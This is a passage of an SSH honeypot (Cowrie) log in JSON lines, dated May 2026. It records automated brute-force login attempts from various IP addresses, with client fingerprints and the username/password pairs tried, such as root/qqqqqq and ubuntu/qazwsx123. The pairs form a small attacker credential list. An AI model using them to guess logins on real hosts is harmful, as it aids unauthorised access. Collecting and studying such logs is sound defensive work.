{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.923231Z","src_ip":"103.154.77.48","session":"0a015132db9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2025","message":"login attempt [test/test@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:42.067166Z","src_ip":"45.144.233.56","session":"bb39af9527d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqq","message":"login attempt [root/qqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:42.947518Z","src_ip":"103.154.77.48","session":"0a015132db9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:43.162404Z","src_ip":"45.144.233.56","session":"bb39af9527d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:44.191805Z","src_ip":"103.154.77.48","session":"0a015132db9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00254321098328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:50.377211Z","src_ip":"98.30.219.209","session":"c8fe0cd6bd5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46618,"dst_ip":"159.203.135.109","dst_port":22,"session":"2202b604d8b8","protocol":"ssh","message":"New connection: 186.148.224.183:46618 (159.203.135.109:22) [session: 2202b604d8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:56.735880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:56.741920Z","src_ip":"186.148.224.183","session":"2202b604d8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:56.892046Z","src_ip":"186.148.224.183","session":"2202b604d8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vm@12345","message":"login attempt [root/Vm@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:57.502446Z","src_ip":"186.148.224.183","session":"2202b604d8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:58.650762Z","src_ip":"186.148.224.183","session":"2202b604d8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":36686,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8aee7dfb87","protocol":"ssh","message":"New connection: 102.210.148.92:36686 (159.203.135.109:22) [session: 8e8aee7dfb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:05.846829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:05.852963Z","src_ip":"102.210.148.92","session":"8e8aee7dfb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:06.089813Z","src_ip":"102.210.148.92","session":"8e8aee7dfb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:07.064328Z","src_ip":"102.210.148.92","session":"8e8aee7dfb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:08.303318Z","src_ip":"102.210.148.92","session":"8e8aee7dfb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":51182,"dst_ip":"159.203.135.109","dst_port":22,"session":"54d5d1a9ab90","protocol":"ssh","message":"New connection: 202.53.94.246:51182 (159.203.135.109:22) [session: 54d5d1a9ab90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:13.706546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:13.711609Z","src_ip":"202.53.94.246","session":"54d5d1a9ab90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:13.928511Z","src_ip":"202.53.94.246","session":"54d5d1a9ab90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"password","message":"login attempt [proxyuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:14.826618Z","src_ip":"202.53.94.246","session":"54d5d1a9ab90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:16.048101Z","src_ip":"202.53.94.246","session":"54d5d1a9ab90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":38770,"dst_ip":"10.17.0.5","dst_port":22,"session":"551df364fa56","protocol":"ssh","message":"New connection: 20.160.86.7:38770 (10.17.0.5:22) [session: 551df364fa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:16.535347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:16.539763Z","src_ip":"20.160.86.7","session":"551df364fa56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:16.623452Z","src_ip":"20.160.86.7","session":"551df364fa56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"videoflow","message":"login attempt [root/videoflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:16.987380Z","src_ip":"20.160.86.7","session":"551df364fa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:18.073948Z","src_ip":"20.160.86.7","session":"551df364fa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36434,"dst_ip":"10.17.0.5","dst_port":22,"session":"337dea2a1413","protocol":"ssh","message":"New connection: 190.223.60.209:36434 (10.17.0.5:22) [session: 337dea2a1413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:31.395885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:31.400790Z","src_ip":"190.223.60.209","session":"337dea2a1413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:31.526890Z","src_ip":"190.223.60.209","session":"337dea2a1413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx123","message":"login attempt [ubuntu/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:32.063591Z","src_ip":"190.223.60.209","session":"337dea2a1413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:33.193912Z","src_ip":"190.223.60.209","session":"337dea2a1413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":55552,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99f404c0224","protocol":"ssh","message":"New connection: 103.154.241.42:55552 (159.203.135.109:22) [session: a99f404c0224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:41.168327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:41.173105Z","src_ip":"103.154.241.42","session":"a99f404c0224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:41.425204Z","src_ip":"103.154.241.42","session":"a99f404c0224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"123","message":"login attempt [dockeruser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:42.467973Z","src_ip":"103.154.241.42","session":"a99f404c0224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:43.723205Z","src_ip":"103.154.241.42","session":"a99f404c0224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":59590,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a6c161b494","protocol":"ssh","message":"New connection: 45.144.233.56:59590 (10.17.0.5:22) [session: 52a6c161b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:57.117934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:57.123160Z","src_ip":"45.144.233.56","session":"52a6c161b494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:57.239234Z","src_ip":"45.144.233.56","session":"52a6c161b494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq1234","message":"login attempt [root/Qq1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:57.681632Z","src_ip":"45.144.233.56","session":"52a6c161b494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:12:58.777151Z","src_ip":"45.144.233.56","session":"52a6c161b494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":55158,"dst_ip":"159.203.135.109","dst_port":22,"session":"290290c16568","protocol":"ssh","message":"New connection: 103.154.77.48:55158 (159.203.135.109:22) [session: 290290c16568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:16.230253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:16.235569Z","src_ip":"103.154.77.48","session":"290290c16568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm